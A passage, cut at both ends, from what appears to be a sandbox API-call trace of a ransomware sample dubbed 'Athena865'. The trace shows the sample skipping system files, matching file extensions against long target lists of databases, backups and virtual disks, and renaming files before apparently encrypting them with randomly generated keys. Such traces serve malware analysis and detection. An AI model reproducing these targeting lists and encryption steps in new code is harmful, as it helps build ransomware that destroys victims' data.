lpString2="gdb") returned 1 [0099.134] lstrlenW (lpString="gdb") returned 3 [0099.134] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1 [0099.134] lstrlenW (lpString="grdb") returned 4 [0099.134] lstrcmpiW (lpString1=".rsm", lpString2="grdb") returned -1 [0099.134] lstrlenW (lpString="gwi") returned 3 [0099.134] lstrcmpiW (lpString1="rsm", lpString2="gwi") returned 1 [0099.134] lstrlenW (lpString="hdb") returned 3 [0099.134] lstrcmpiW (lpString1="rsm", lpString2="hdb") returned 1 [0099.134] lstrlenW (lpString="his") returned 3 [0099.134] lstrcmpiW (lpString1="rsm", lpString2="his") returned 1 [0099.134] lstrlenW (lpString="ib") returned 2 [0099.134] lstrcmpiW (lpString1="sm", lpString2="ib") returned 1 [0099.134] lstrlenW (lpString="idb") returned 3 [0099.134] lstrcmpiW (lpString1="rsm", lpString2="idb") returned 1 [0099.134] lstrlenW (lpString="ihx") returned 3 [0099.134] lstrcmpiW (lpString1="rsm", lpString2="ihx") returned 1 [0099.134] lstrlenW (lpString="itdb") returned 4 [0099.134] lstrcmpiW (lpString1=".rsm", lpString2="itdb") returned -1 [0099.134] lstrlenW (lpString="itw") returned 3 [0099.134] lstrcmpiW (lpString1="rsm", lpString2="itw") returned 1 [0099.134] lstrlenW (lpString="jet") returned 3 [0099.135] lstrcmpiW (lpString1="rsm", lpString2="jet") returned 1 [0099.135] lstrlenW (lpString="jtx") returned 3 [0099.135] lstrcmpiW (lpString1="rsm", lpString2="jtx") returned 1 [0099.135] lstrlenW (lpString="kdb") returned 3 [0099.135] lstrcmpiW (lpString1="rsm", lpString2="kdb") returned 1 [0099.135] lstrlenW (lpString="kexi") returned 4 [0099.135] lstrcmpiW (lpString1=".rsm", lpString2="kexi") returned -1 [0099.135] lstrlenW (lpString="kexic") returned 5 [0099.135] lstrcmpiW (lpString1="e.rsm", lpString2="kexic") returned -1 [0099.135] lstrlenW (lpString="kexis") returned 5 [0099.135] lstrcmpiW (lpString1="e.rsm", lpString2="kexis") returned -1 [0099.135] lstrlenW (lpString="lgc") returned 3 [0099.135] lstrcmpiW (lpString1="rsm", lpString2="lgc") returned 1 [0099.135] lstrlenW (lpString="lwx") returned 3 [0099.135] lstrcmpiW (lpString1="rsm", lpString2="lwx") returned 1 [0099.135] lstrlenW (lpString="maf") returned 3 [0099.135] lstrcmpiW (lpString1="rsm", lpString2="maf") returned 1 [0099.135] lstrlenW (lpString="maq") returned 3 [0099.135] lstrcmpiW (lpString1="rsm", lpString2="maq") returned 1 [0099.135] lstrlenW (lpString="mar") returned 3 [0099.135] lstrcmpiW (lpString1="rsm", lpString2="mar") returned 1 [0099.135] lstrlenW (lpString="marshal") returned 7 [0099.135] lstrcmpiW (lpString1="ate.rsm", lpString2="marshal") returned -1 [0099.135] lstrlenW (lpString="mas") returned 3 [0099.135] lstrcmpiW (lpString1="rsm", lpString2="mas") returned 1 [0099.135] lstrlenW (lpString="mav") returned 3 [0099.135] lstrcmpiW (lpString1="rsm", lpString2="mav") returned 1 [0099.135] lstrlenW (lpString="maw") returned 3 [0099.135] lstrcmpiW (lpString1="rsm", lpString2="maw") returned 1 [0099.136] lstrlenW (lpString="mdbhtml") returned 7 [0099.136] lstrcmpiW (lpString1="ate.rsm", lpString2="mdbhtml") returned -1 [0099.136] lstrlenW (lpString="mdn") returned 3 [0099.136] lstrcmpiW (lpString1="rsm", lpString2="mdn") returned 1 [0099.136] lstrlenW (lpString="mdt") returned 3 [0099.136] lstrcmpiW (lpString1="rsm", lpString2="mdt") returned 1 [0099.136] lstrlenW (lpString="mfd") returned 3 [0099.136] lstrcmpiW (lpString1="rsm", lpString2="mfd") returned 1 [0099.136] lstrlenW (lpString="mpd") returned 3 [0099.136] lstrcmpiW (lpString1="rsm", lpString2="mpd") returned 1 [0099.136] lstrlenW (lpString="mrg") returned 3 [0099.136] lstrcmpiW (lpString1="rsm", lpString2="mrg") returned 1 [0099.136] lstrlenW (lpString="mud") returned 3 [0099.136] lstrcmpiW (lpString1="rsm", lpString2="mud") returned 1 [0099.136] lstrlenW (lpString="mwb") returned 3 [0099.136] lstrcmpiW (lpString1="rsm", lpString2="mwb") returned 1 [0099.136] lstrlenW (lpString="myd") returned 3 [0099.136] lstrcmpiW (lpString1="rsm", lpString2="myd") returned 1 [0099.136] lstrlenW (lpString="ndf") returned 3 [0099.136] lstrcmpiW (lpString1="rsm", lpString2="ndf") returned 1 [0099.136] lstrlenW (lpString="nnt") returned 3 [0099.136] lstrcmpiW (lpString1="rsm", lpString2="nnt") returned 1 [0099.136] lstrlenW (lpString="nrmlib") returned 6 [0099.136] lstrcmpiW (lpString1="te.rsm", lpString2="nrmlib") returned 1 [0099.136] lstrlenW (lpString="ns2") returned 3 [0099.136] lstrcmpiW (lpString1="rsm", lpString2="ns2") returned 1 [0099.136] lstrlenW (lpString="ns3") returned 3 [0099.136] lstrcmpiW (lpString1="rsm", lpString2="ns3") returned 1 [0099.136] lstrlenW (lpString="ns4") returned 3 [0099.137] lstrcmpiW (lpString1="rsm", lpString2="ns4") returned 1 [0099.137] lstrlenW (lpString="nsf") returned 3 [0099.137] lstrcmpiW (lpString1="rsm", lpString2="nsf") returned 1 [0099.137] lstrlenW (lpString="nv") returned 2 [0099.137] lstrcmpiW (lpString1="sm", lpString2="nv") returned 1 [0099.137] lstrlenW (lpString="nv2") returned 3 [0099.137] lstrcmpiW (lpString1="rsm", lpString2="nv2") returned 1 [0099.137] lstrlenW (lpString="nwdb") returned 4 [0099.137] lstrcmpiW (lpString1=".rsm", lpString2="nwdb") returned -1 [0099.137] lstrlenW (lpString="nyf") returned 3 [0099.137] lstrcmpiW (lpString1="rsm", lpString2="nyf") returned 1 [0099.137] lstrlenW (lpString="odb") returned 3 [0099.137] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1 [0099.137] lstrlenW (lpString="odb") returned 3 [0099.137] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1 [0099.137] lstrlenW (lpString="oqy") returned 3 [0099.137] lstrcmpiW (lpString1="rsm", lpString2="oqy") returned 1 [0099.137] lstrlenW (lpString="ora") returned 3 [0099.137] lstrcmpiW (lpString1="rsm", lpString2="ora") returned 1 [0099.137] lstrlenW (lpString="orx") returned 3 [0099.137] lstrcmpiW (lpString1="rsm", lpString2="orx") returned 1 [0099.137] lstrlenW (lpString="owc") returned 3 [0099.137] lstrcmpiW (lpString1="rsm", lpString2="owc") returned 1 [0099.137] lstrlenW (lpString="p96") returned 3 [0099.137] lstrcmpiW (lpString1="rsm", lpString2="p96") returned 1 [0099.137] lstrlenW (lpString="p97") returned 3 [0099.137] lstrcmpiW (lpString1="rsm", lpString2="p97") returned 1 [0099.137] lstrlenW (lpString="pan") returned 3 [0099.137] lstrcmpiW (lpString1="rsm", lpString2="pan") returned 1 [0099.138] lstrlenW (lpString="pdb") returned 3 [0099.138] lstrcmpiW (lpString1="rsm", lpString2="pdb") returned 1 [0099.138] lstrlenW (lpString="pdm") returned 3 [0099.138] lstrcmpiW (lpString1="rsm", lpString2="pdm") returned 1 [0099.138] lstrlenW (lpString="pnz") returned 3 [0099.138] lstrcmpiW (lpString1="rsm", lpString2="pnz") returned 1 [0099.138] lstrlenW (lpString="qry") returned 3 [0099.138] lstrcmpiW (lpString1="rsm", lpString2="qry") returned 1 [0099.138] lstrlenW (lpString="qvd") returned 3 [0099.138] lstrcmpiW (lpString1="rsm", lpString2="qvd") returned 1 [0099.138] lstrlenW (lpString="rbf") returned 3 [0099.138] lstrcmpiW (lpString1="rsm", lpString2="rbf") returned 1 [0099.138] lstrlenW (lpString="rctd") returned 4 [0099.138] lstrcmpiW (lpString1=".rsm", lpString2="rctd") returned -1 [0099.138] lstrlenW (lpString="rod") returned 3 [0099.138] lstrcmpiW (lpString1="rsm", lpString2="rod") returned 1 [0099.138] lstrlenW (lpString="rodx") returned 4 [0099.138] lstrcmpiW (lpString1=".rsm", lpString2="rodx") returned -1 [0099.138] lstrlenW (lpString="rpd") returned 3 [0099.138] lstrcmpiW (lpString1="rsm", lpString2="rpd") returned 1 [0099.138] lstrlenW (lpString="rsd") returned 3 [0099.138] lstrcmpiW (lpString1="rsm", lpString2="rsd") returned 1 [0099.138] lstrlenW (lpString="sas7bdat") returned 8 [0099.138] lstrcmpiW (lpString1="tate.rsm", lpString2="sas7bdat") returned 1 [0099.138] lstrlenW (lpString="sbf") returned 3 [0099.138] lstrcmpiW (lpString1="rsm", lpString2="sbf") returned -1 [0099.138] lstrlenW (lpString="scx") returned 3 [0099.138] lstrcmpiW (lpString1="rsm", lpString2="scx") returned -1 [0099.138] lstrlenW (lpString="sdb") returned 3 [0099.139] lstrcmpiW (lpString1="rsm", lpString2="sdb") returned -1 [0099.139] lstrlenW (lpString="sdc") returned 3 [0099.139] lstrcmpiW (lpString1="rsm", lpString2="sdc") returned -1 [0099.139] lstrlenW (lpString="sdf") returned 3 [0099.139] lstrcmpiW (lpString1="rsm", lpString2="sdf") returned -1 [0099.139] lstrlenW (lpString="sis") returned 3 [0099.139] lstrcmpiW (lpString1="rsm", lpString2="sis") returned -1 [0099.139] lstrlenW (lpString="spq") returned 3 [0099.139] lstrcmpiW (lpString1="rsm", lpString2="spq") returned -1 [0099.139] lstrlenW (lpString="te") returned 2 [0099.139] lstrcmpiW (lpString1="sm", lpString2="te") returned -1 [0099.139] lstrlenW (lpString="teacher") returned 7 [0099.139] lstrcmpiW (lpString1="ate.rsm", lpString2="teacher") returned -1 [0099.139] lstrlenW (lpString="tmd") returned 3 [0099.139] lstrcmpiW (lpString1="rsm", lpString2="tmd") returned -1 [0099.139] lstrlenW (lpString="tps") returned 3 [0099.139] lstrcmpiW (lpString1="rsm", lpString2="tps") returned -1 [0099.139] lstrlenW (lpString="trc") returned 3 [0099.139] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1 [0099.139] lstrlenW (lpString="trc") returned 3 [0099.139] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1 [0099.139] lstrlenW (lpString="trm") returned 3 [0099.139] lstrcmpiW (lpString1="rsm", lpString2="trm") returned -1 [0099.139] lstrlenW (lpString="udb") returned 3 [0099.139] lstrcmpiW (lpString1="rsm", lpString2="udb") returned -1 [0099.139] lstrlenW (lpString="udl") returned 3 [0099.139] lstrcmpiW (lpString1="rsm", lpString2="udl") returned -1 [0099.139] lstrlenW (lpString="usr") returned 3 [0099.139] lstrcmpiW (lpString1="rsm", lpString2="usr") returned -1 [0099.140] lstrlenW (lpString="v12") returned 3 [0099.140] lstrcmpiW (lpString1="rsm", lpString2="v12") returned -1 [0099.140] lstrlenW (lpString="vis") returned 3 [0099.140] lstrcmpiW (lpString1="rsm", lpString2="vis") returned -1 [0099.140] lstrlenW (lpString="vpd") returned 3 [0099.140] lstrcmpiW (lpString1="rsm", lpString2="vpd") returned -1 [0099.140] lstrlenW (lpString="vvv") returned 3 [0099.140] lstrcmpiW (lpString1="rsm", lpString2="vvv") returned -1 [0099.140] lstrlenW (lpString="wdb") returned 3 [0099.140] lstrcmpiW (lpString1="rsm", lpString2="wdb") returned -1 [0099.140] lstrlenW (lpString="wmdb") returned 4 [0099.140] lstrcmpiW (lpString1=".rsm", lpString2="wmdb") returned -1 [0099.140] lstrlenW (lpString="wrk") returned 3 [0099.141] lstrcmpiW (lpString1="rsm", lpString2="wrk") returned -1 [0099.141] lstrlenW (lpString="xdb") returned 3 [0099.141] lstrcmpiW (lpString1="rsm", lpString2="xdb") returned -1 [0099.141] lstrlenW (lpString="xld") returned 3 [0099.141] lstrcmpiW (lpString1="rsm", lpString2="xld") returned -1 [0099.141] lstrlenW (lpString="xmlff") returned 5 [0099.141] lstrcmpiW (lpString1="e.rsm", lpString2="xmlff") returned -1 [0099.141] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.Athena865") returned 87 [0099.141] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.Athena865" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.athena865"), dwFlags=0x1) returned 1 [0099.150] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.Athena865" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0099.150] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=666) returned 1 [0099.150] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.151] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5398d8 [0099.151] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.151] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.152] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.152] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.152] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a0, lpName=0x0) returned 0x17c [0099.153] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a0) returned 0x100000 [0099.154] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.155] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.155] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f2d8 [0099.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f2d8 | out: hHeap=0x4f0000) returned 1 [0099.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f2d8 [0099.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f2d8 | out: hHeap=0x4f0000) returned 1 [0099.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.156] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.156] CloseHandle (hObject=0x17c) returned 1 [0099.156] CloseHandle (hObject=0x154) returned 1 [0099.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5398d8 | out: hHeap=0x4f0000) returned 1 [0099.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.156] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xca64c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xfe5c3760, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0099.156] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0099.156] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.156] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".") returned 1 [0099.156] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="..") returned 1 [0099.156] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="windows") returned -1 [0099.156] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="bootmgr") returned 1 [0099.156] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="temp") returned 1 [0099.156] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="pagefile.sys") returned 1 [0099.156] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="boot") returned 1 [0099.156] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="ids.txt") returned 1 [0099.156] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="ntuser.dat") returned 1 [0099.156] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="perflogs") returned 1 [0099.156] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="MSBuild") returned 1 [0099.156] lstrlenW (lpString="vcredist_x86.exe") returned 16 [0099.157] lstrcpyW (in: lpString1=0x241e8d0, lpString2="vcredist_x86.exe" | out: lpString1="vcredist_x86.exe") returned="vcredist_x86.exe" [0099.157] lstrlenW (lpString="vcredist_x86.exe") returned 16 [0099.157] lstrlenW (lpString="Athena865") returned 9 [0099.157] lstrcmpiW (lpString1="t_x86.exe", lpString2="Athena865") returned 1 [0099.157] lstrlenW (lpString=".dll") returned 4 [0099.157] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".dll") returned 1 [0099.157] lstrlenW (lpString=".lnk") returned 4 [0099.157] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".lnk") returned 1 [0099.157] lstrlenW (lpString=".ini") returned 4 [0099.157] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".ini") returned 1 [0099.157] lstrlenW (lpString=".sys") returned 4 [0099.157] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".sys") returned 1 [0099.157] lstrlenW (lpString="vcredist_x86.exe") returned 16 [0099.157] lstrlenW (lpString="bak") returned 3 [0099.157] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0099.157] lstrlenW (lpString="ba_") returned 3 [0099.157] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0099.157] lstrlenW (lpString="dbb") returned 3 [0099.157] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0099.157] lstrlenW (lpString="vmdk") returned 4 [0099.157] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0099.157] lstrlenW (lpString="rar") returned 3 [0099.157] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0099.157] lstrlenW (lpString="zip") returned 3 [0099.157] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0099.157] lstrlenW (lpString="tgz") returned 3 [0099.157] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0099.157] lstrlenW (lpString="vbox") returned 4 [0099.157] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0099.158] lstrlenW (lpString="vdi") returned 3 [0099.158] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0099.158] lstrlenW (lpString="vhd") returned 3 [0099.158] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0099.158] lstrlenW (lpString="vhdx") returned 4 [0099.158] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0099.158] lstrlenW (lpString="avhd") returned 4 [0099.158] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0099.158] lstrlenW (lpString="db") returned 2 [0099.158] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0099.158] lstrlenW (lpString="db2") returned 3 [0099.158] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0099.158] lstrlenW (lpString="db3") returned 3 [0099.158] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0099.158] lstrlenW (lpString="dbf") returned 3 [0099.158] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0099.158] lstrlenW (lpString="mdf") returned 3 [0099.158] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0099.158] lstrlenW (lpString="mdb") returned 3 [0099.158] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0099.158] lstrlenW (lpString="sql") returned 3 [0099.158] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0099.158] lstrlenW (lpString="sqlite") returned 6 [0099.158] lstrcmpiW (lpString1="86.exe", lpString2="sqlite") returned -1 [0099.158] lstrlenW (lpString="sqlite3") returned 7 [0099.158] lstrcmpiW (lpString1="x86.exe", lpString2="sqlite3") returned 1 [0099.158] lstrlenW (lpString="sqlitedb") returned 8 [0099.158] lstrcmpiW (lpString1="_x86.exe", lpString2="sqlitedb") returned -1 [0099.159] lstrlenW (lpString="xml") returned 3 [0099.159] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0099.159] lstrlenW (lpString="$er") returned 3 [0099.159] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0099.159] lstrlenW (lpString="4dd") returned 3 [0099.159] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0099.159] lstrlenW (lpString="4dl") returned 3 [0099.159] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0099.159] lstrlenW (lpString="^^^") returned 3 [0099.159] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0099.159] lstrlenW (lpString="abs") returned 3 [0099.159] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0099.159] lstrlenW (lpString="abx") returned 3 [0099.159] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0099.159] lstrlenW (lpString="accdb") returned 5 [0099.159] lstrcmpiW (lpString1="6.exe", lpString2="accdb") returned -1 [0099.159] lstrlenW (lpString="accdc") returned 5 [0099.159] lstrcmpiW (lpString1="6.exe", lpString2="accdc") returned -1 [0099.159] lstrlenW (lpString="accde") returned 5 [0099.159] lstrcmpiW (lpString1="6.exe", lpString2="accde") returned -1 [0099.159] lstrlenW (lpString="accdr") returned 5 [0099.159] lstrcmpiW (lpString1="6.exe", lpString2="accdr") returned -1 [0099.159] lstrlenW (lpString="accdt") returned 5 [0099.159] lstrcmpiW (lpString1="6.exe", lpString2="accdt") returned -1 [0099.159] lstrlenW (lpString="accdw") returned 5 [0099.159] lstrcmpiW (lpString1="6.exe", lpString2="accdw") returned -1 [0099.159] lstrlenW (lpString="accft") returned 5 [0099.159] lstrcmpiW (lpString1="6.exe", lpString2="accft") returned -1 [0099.160] lstrlenW (lpString="adb") returned 3 [0099.160] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0099.160] lstrlenW (lpString="adb") returned 3 [0099.160] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0099.160] lstrlenW (lpString="ade") returned 3 [0099.160] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0099.160] lstrlenW (lpString="adf") returned 3 [0099.160] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0099.160] lstrlenW (lpString="adn") returned 3 [0099.160] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0099.160] lstrlenW (lpString="adp") returned 3 [0099.160] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0099.160] lstrlenW (lpString="alf") returned 3 [0099.160] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0099.160] lstrlenW (lpString="ask") returned 3 [0099.160] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0099.160] lstrlenW (lpString="btr") returned 3 [0099.160] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0099.160] lstrlenW (lpString="cat") returned 3 [0099.160] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0099.160] lstrlenW (lpString="cdb") returned 3 [0099.160] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0099.160] lstrlenW (lpString="ckp") returned 3 [0099.160] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0099.160] lstrlenW (lpString="cma") returned 3 [0099.160] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0099.160] lstrlenW (lpString="cpd") returned 3 [0099.160] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0099.160] lstrlenW (lpString="dacpac") returned 6 [0099.161] lstrcmpiW (lpString1="86.exe", lpString2="dacpac") returned -1 [0099.161] lstrlenW (lpString="dad") returned 3 [0099.161] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0099.161] lstrlenW (lpString="dadiagrams") returned 10 [0099.161] lstrcmpiW (lpString1="st_x86.exe", lpString2="dadiagrams") returned 1 [0099.161] lstrlenW (lpString="daschema") returned 8 [0099.161] lstrcmpiW (lpString1="_x86.exe", lpString2="daschema") returned -1 [0099.161] lstrlenW (lpString="db-journal") returned 10 [0099.161] lstrcmpiW (lpString1="st_x86.exe", lpString2="db-journal") returned 1 [0099.161] lstrlenW (lpString="db-shm") returned 6 [0099.161] lstrcmpiW (lpString1="86.exe", lpString2="db-shm") returned -1 [0099.161] lstrlenW (lpString="db-wal") returned 6 [0099.161] lstrcmpiW (lpString1="86.exe", lpString2="db-wal") returned -1 [0099.161] lstrlenW (lpString="dbc") returned 3 [0099.161] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0099.161] lstrlenW (lpString="dbs") returned 3 [0099.161] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0099.161] lstrlenW (lpString="dbt") returned 3 [0099.161] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0099.161] lstrlenW (lpString="dbv") returned 3 [0099.161] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0099.161] lstrlenW (lpString="dbx") returned 3 [0099.161] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0099.161] lstrlenW (lpString="dcb") returned 3 [0099.161] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0099.161] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0099.162] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0099.162] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0099.162] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.Athena865") returned 94 [0099.162] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.Athena865" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.athena865"), dwFlags=0x1) returned 1 [0099.163] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.Athena865" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0099.163] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=462976) returned 1 [0099.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5398d8 [0099.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.164] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.164] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.164] CryptReleaseContext (hProv=0x51a218, 